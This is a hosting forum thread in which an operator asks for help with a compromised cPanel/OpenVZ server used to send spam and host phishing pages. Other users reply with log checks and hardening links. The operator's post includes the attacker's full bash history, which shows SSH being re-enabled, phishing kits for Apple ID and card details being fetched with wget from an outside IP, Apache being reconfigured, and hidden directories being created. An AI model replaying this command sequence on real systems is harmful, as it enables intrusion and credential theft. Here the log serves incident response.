Compromised Server Questions
I just put a new cPanel server online and deliberately turned SSH off. The server is on Centos 7.2 with OpenVZ for the base. It too is CentOS 7.2. The only way into the server (we thought) was though the main hardware node. It is protected by APF and BFD. There is no history on the main of any trouble. But persons unknown got into the container, turned SSH back on. Spam is now flowing from my new server. I have just switched from Plesk after 16 years and don't know my way around yet. What I do know is what .bash_history tells me. I'm not comfortable pasting it here. The user root had a secure password. Not easily hacked. Is it possible to drop into the OS by hacking cPanel? On my current network I am protected by a hardware firewall and port 22 is blocked. Not the case with the new data center. We just changed the ssh port and turned it off.
-
Hello :), Please try check your exim mail logs with the following command, You will get a list of directories that have sent email: grep cwd=/home /var/log/exim_mainlog0 -
Thank you for the help!!! Exim shows none sent but I am receiving the bounce backs containing usernames and passwords for Apple users. Here is the output of .bash_history that shows clearly a hacked server. root@c102 [/]# cat ~/.bash_history #1455908123 screen -list #1455908129 service cpanel status #1456007633 ls #1456052575 w #1456052576 uname -a #1456052577 vzlist #1456052578 ls #1456052578 exit #1456240247 vi /etc/ssh/sshd_config #1456240255 systemctl restart sshd #1456240256 exit #1456205439 uname -a #1456205445 pwd|mail someusr@gmail.com #1456205454 cd /usr/local/apache #1456205454 ls #1456205455 cd htdocs/ #1456205456 ls #1456205457 cat >ec #1456205469 ils #1456205485 wget https://fs05n3.example.com/dl/5b7d155de1a0929edfd866df2c1a6b/56cc51b767987dfa/ow00yu/comun.tgz #1456205490 tar zxvf comun.tgz #1456205510 /usr/local/cpanel/bin/rebuild_phpconf 5 none cgi 1 #1456205520 locate httpd.conf #1456205522 udpatedb #1456205523 updatedb #1456205530 locate httpd.conf #1456205533 nano /usr/local/apache/conf/httpd.conf #1456205543 service httpd restart #1456205547 ls /var/named #1456205578 ls4 #1456205580 ls #1456205581 ls /home #1456206244 ifconfig #1456206395 tail -f ../logs/access_log #1456206596 ls #1456206609 wget https://fs09n1.example.com/dl/c603e34488ad7fe23d2be6e17d3f54/56cc561f1253a071/68l1a7/ruralnou.tgz #1456206613 tar zxvf ruralnou.tgz #1456206616 tail -f ../logs/access_log #1456206700 cp ISUM_MainISUM/.htaccess . #1456206702 mv .htaccess h #1456206704 ifconfig #1456206717 tail -f ../logs/access_log #1456207581 ls #1456207585 ifconfig #1456207589 tail -f ../logs/access_log #1456217436 ls #1456217449 wget https://fs05n2.example.com/dl/9782565d598547c8624e8c60ffeaf2/56cc807758a504a5/kbpov3/js.tgz #1456217451 tar zxvf js.tgz #1456217453 cd js #1456217454 nano css.php #1456217481 cd .. #1456217482 wget https://fs05n5.example.com/dl/d0890db16170bfc6995a80b57656ac/56cc8094357d2283/35rtrg/neww.zip #1456217486 unzip neww.zip #1456217488 ifconfig #1456217490 cd uk #1456217493 nano checkout.php #1456217508 ls #1456218390 tail -f ../../logs/access_log #1460345330 w #1460345331 uname -a #1460345334 vzlist #1460345341 cd /usr/local/apache/htdocs/ #1460345341 ls #1460345352 wget 162.219.xx.xx/GB.tgz #1460345355 tar zxvf GB.tgz #1460345360 cd GB #1460345363 cd user12-appleid/ #1460345364 nano vbvpasword.php #1460345365 ls #1460345379 /usr/local/cpanel/bin/rebuild_phpconf 5 none cgi 1 #1460345415 locate httpd.conf #1460345420 nano /usr/local/apache/conf/httpd.conf #1460345431 ls #1460345433 ifconfig #1460345448 ls #1460345545 cd .. #1460345547 ls -la #1460345551 tail -f ../../logs/access_log #1460349536 ifconfig #1460349567 tail -f ../../logs/access_log #1460352370 ls /var/named #1460352373 ls /home #1460352377 cd .. #1460352379 cat >re #1460352428 mkdir .apo #1460352430 mkdir .api #1460352431 cd .api #1460352442 cat >api.htm #1460352448 cp ../GB/.htaccess . #1460352451 cd .. #1460352461 tail -f ../logs/access_log #1460353703 s -la #1460353704 ls- la #1460353705 ls -la #1460353710 nano .api/api.htm #1460353731 tail -f ../logs/access_log #1460408250 who #1460408254 last #1460408727 exim -bp #1460408748 service status exim #1460411283 cat ~/.bash_history #1460411295 who #1460411302 screen -x #1460411329 cd /home/.api #1460411333 cd /home #1460411335 ls -lah #1460411370 tail -f ../access_log #1460411373 cd .. #1460411375 tail -f ../access_log #1460411384 which access_log #1460411391 cd /var/logs #1460411394 cd /var/log #1460411396 ls -lah #1460411417 cd httpd #1460411419 ls #1460411426 tail -f access_log #1460411438 cat access_log #1460411443 ls -lah #1460411461 cd .. #1460411464 ls -lah #1460411475 cd / #1460411478 pwd #1460411482 cd /root #1460411484 ls -lah #1460411510 cd /tmp #1460411512 ls -lah #1460412504 cat ~/.bash_history #1460412736 cd GB #1460412747 cd /home #1460412750 ls -lah #1460412771 cd .cpcpan #1460412773 ls -lah #1460412799 cat MIRROR.BY #1460412810 cat MIRRORED.BY #1460413090 uname -a #1460413111 uname #1460413117 man uname #1460413125 uname -s #1460413136 man uname | grep kernel #1460413145 name -v #1460413149 uname -v #1460413158 uname -r #1460413175 uname -srv #1460413198 cat /etc/redhat-release #1460418446 clear #1460418449 cd /root #1460418451 ls -lah #1460418466 cat bash_logout #1460418478 cat .bash_logout #1460418500 cat .bash_history #1460418528 locate .api #1460418552 cd .. #1460418555 ls -lah #1460418573 cd tmp #1460418575 ls -lah #1460419638 uname -a #1460423535 who #1460423542 man exim #1460433612 who #1460433620 exit #1460433632 vzctl stop 102 #1460433637 exit #1460428363 ls #1460428369 cd /usr/local/apache/htdocs/ #1460428369 ls #1460428374 cd .did #1460428375 nano did.htm #1460428395 tail -f ../../logs/access_log #1460428585 cd .. #1460428587 mkdir u #1460428587 cd u #1460428589 wget https://fs10n2.example.com/dl/564178dfe5dbe223c1087b7dd445a7/570cc253444cce51/zvo1bn/loginid.zip #1460428592 unzip loginid.zip #1460428593 cd uk #1460428594 ls #1460428601 ifconfig #1460429054 cd ../.. #1460429056 tail -f ../logs/access_log #1460429062 cd .api #1460429063 nano api.htm #1460429077 cd .. #1460429079 tail -f ../logs/access_log #1460430230 ifconfig #1460430448 tail -f ../logs/access_lo0 -
Hello :) Do you notice any entries in the /var/log/secure log file that suggest a brute force attempt on the SSH service at the time this happened? We offer the following documentation to help with protecting your server: Tips to Make Your Server More Secure - cPanel Knowledge Base - cPanel Documentation How to Secure SSH - cPanel Knowledge Base - cPanel Documentation There's also a thread here we advise looking at: [Tutorial] Interested in increasing the security of your server? Read this. (sshd hardening) Thank you. 0 -
This is server #1 with WHMCS and a custom theme. You'll note that they went straight to ssh and turned it on. This is a VZ containers so we had it off. They also stopped thee firewall with csf -x, and more. Is server 1 compromised? Server 2 looks like it has been rooted and owned. [Removed - Contained Links to Downloads] 0 -
You may need to consult with a qualified system administrator for help with determining the method used to root your servers, and then ensure you review the documents from my previous post after setting up a new OS/cPanel and transferring the accounts from the hacked server over to the new one. Thank you. 0 -
You may need to consult with a qualified system administrator for help with determining the method used to root your servers, and then ensure you review the documents from my previous post after setting up a new OS/cPanel and transferring the accounts from the hacked server over to the new one. Thank you.
A Lesson Learned I found CSF installed but not running. LDF wasn't even installed. When I looked deeper I found that the necessary modules were not installed for the VPS. As I recall from running Virtuozzo they need to be in the config file for the VPS. Can you give me a pointer on where to find the syntax to allow me to run CSF/LDF in each container?0 -
Thank you. I've read that before. But when I said OpenVZ container - Virtuozzo - you may be unaware that specific modules need to be loaded so that any firewall can run inside of each container. THAT is what I need to learn. Just running CSF has already shown that it doesn't protect the containers. As a Plesk user we had to load specific modules but that is for older versions. We are migrating to cPanel from Plesk anyway. I am terrified of loading up a container again and having it hacked a third time. The question remains this: Was it CentOS 7.2? OpenVZ (current)? Word Press (current)? WHMCS 6.3.2? The theme written to interface Word Press? I can tell you from the logs that the hacker just dropped into the container and went straight to SSH. SSH had been directed to another port AND was turned off. Access via the hardware node was required. It did come from there. We know this for many reasons,, but also because the hacker ran vzlist to see if it was the hardware node as well as screen to see if any where loaded. This is my first go with cPanel and WHMCS as well as Word Press as the integration. I look forward to your replies I don't mind looking like an idiot as long as others learn from it. 0 -
The question remains this: Was it CentOS 7.2? OpenVZ (current)? Word Press (current)? WHMCS 6.3.2? The theme written to interface Word Press?
There are many more questions of course, was the server properly secured, what did that custom theme actually do as far as what that "interfacing" you mention, needs to work, what did it interface with, WHMCS, the server itself? Is your workstation secure? Are you on wireless borrowed from a friend? Are you using the same password for root, somewhere else? Anybody on these forums would only guessing without closer inspection. You really should look into hiring someone to properly assist you with this instead of hoping for helpful replies here to learn from, IMO.0 -
The server was configured by and cPanel/WHMCS installed by the dedicated server company. I recall posting before why this is ultimately my fault. They used the same password on everything. There were two containers on the server with cPanel. The first breach was the server with only cPanel. cPanel Customer support logged in and came back with no answer. But after breaching server 2 the hacker found the IP for server 1 and got in. He did not use ssh because it was turned off on both containers. Server 2 had no accounts setup. I don't want to indict cPanel because I don't know the answer. I am reinstalling cPanel only as a honey pot to see if he gets past a new password. Neither Virtuozzo or CentOS show his IP in their respective logs. I am asking just in case a setup point was missed or if there is a breach that is new. If there are additional security steps to take I'd love to read them. I've already read those in cPanel's documentation. Mod_Sec was not setup yet. Is there a browser hack? My workstation is in my business along with others that are behind a corporate firewall and uses keys. We pay for our own internet access. Our servers use TW. SSH is turned off on all virtual servers using a hardware firewall. SSH is restricted on the hardware nodes using several methods. I've been setting up Ensim and Plesk servers for 16 years and I built our entire multi-rack network inside an XO facility. I said that I am new to cPanel. We are changing our approach of owning everything due to health issues. Our dedicated server company with cPanel/WHMCS Certified staff installed and loaded them as a courtesy. I have a stack of Plesk licenses that I can continue using if you think cPanel is too much for us to handle. With that said where is the weakest link with the software? A popular Google site has many cPanel hacks. There's "How to Hack cPanel 2016" dated 4 months ago. Respectfully Submitted... 0 -
The server was configured by and cPanel/WHMCS installed by the dedicated server company. I recall posting before why this is ultimately my fault. They used the same password on everything.
Another question might be, does "configured by the dedicated server company" mean they secured the server properly, or just installed cPanel and configured the server so you could get in and secure it yourself? I don't think cPanel is too much for you to handle, quite to opposite. Still, how secure the server is setup, depends on you. The documentation suggested by @cPanelMichael is a great place to get started, but that's not all there is.Hello :) Do you notice any entries in the /var/log/secure log file that suggest a brute force attempt on the SSH service at the time this happened? We offer the following documentation to help with protecting your server: Tips to Make Your Server More Secure - cPanel Knowledge Base - cPanel Documentation How to Secure SSH - cPanel Knowledge Base - cPanel Documentation There's also a thread here we advise looking at: [Tutorial] Interested in increasing the security of your server? Read this. (sshd hardening) Thank you.
0 -
Well Michael, that's where I take full blame I "assumed" that installed meant secured. I asked that the firewall be installed and they did so. But they didn't configure it or turn it on because I didn't specifically ask them to. OK. It's kind of assumed that installation also means configuration and adding it as a service or calling it from start-up. A lesson learned and I won't dump on them. They were trying to help and they've been very helpful. I know that with Plesk installation included iptables modules being loaded and the containers secured. I've learned something new and welcome learning cPanel! I have fought it for years based on a sizeable financial investment in Plesk. But now - give the customers what they are asking for. Everything I have is being converted to cPanel and that's about 100 servers. The beauty of Virtuozzo is fewer hardware reboots and blown power supplies and mangled OS's. It also means easily bouncing a virtual server anywhere on the network if an impending HDD failure is approaching. Back-up's are easy. Memory management. That is if Lite Speed can run in a virtual server. I write candidly - even if it means someone takes a shot at me. As long as someone learns from it. There are a few enhancements in CentOS that I like but I want to go to Lite Speed Apache. Does it have the same level of security. It is so new that it worries me. But I am going through all of the different security related documents trying to understand each and every place to secure. For example. a WHMCS theme that uses Word Press. I was not told to password protect the admin directory, which may have prevented this hack. But what of the other server that had only cPanel? How the hell did they get in? SSH was turned off and the logs don't show anything before the hacker just "dropped into the shell." If this isn't a cPanel issue that's great. But if anyone can offer solid suggestions I sure would be grateful. I need to start making money off of this investment. 0 -
I dare say that the poor customer service of Parallel's, who has now divested into three separate groups (Virtuozzo, Plesk and PBAS (owned by Ingram Micro) has been miserable for 16 years. The forums are seldom answered by a staff member. I appreciate you and Michael. Thank you. Point and click and I'll follow! :-) 0 -
But I am going through all of the different security related documents trying to understand each and every place to secure. For example. a WHMCS theme that uses Word Press.I was not told to password protect the admin directory, which may have prevented this hack.
WHMCS does a great job with docs, have a look at these suggestions: Further Security Steps - WHMCS Documentation0 -
I'd like to commend this group for the cordial welcome as a cPanel from Plesk convertee comes over. I have much to learn and I may ask a stupid question every now and then. This group is hands down better than the Plesk forums where it may take weeks for a reply that doesn't even help. Thank you. This incident will help sharpen my security skills. I have lived behind a hardware firewall since 2007 where SSH was blocked at that level plus on each server. In this case no firewall would have stopped the hack. More than likely mod_sec may have caught it but I never had a chance to look at the rules set. I wonder: is there a source for $$$ or free that has mod_sec rules or are they part of cPanel and its updates? 0 -
I wonder: is there a source for $$$ or free that has mod_sec rules or are they part of cPanel and its updates?
The following thread also offers some useful advice from other users who have tried out different Mod_Security rulesets: OWASP - mod security and wordpress Thank you.0
Please sign in to leave a comment.
Comments
17 comments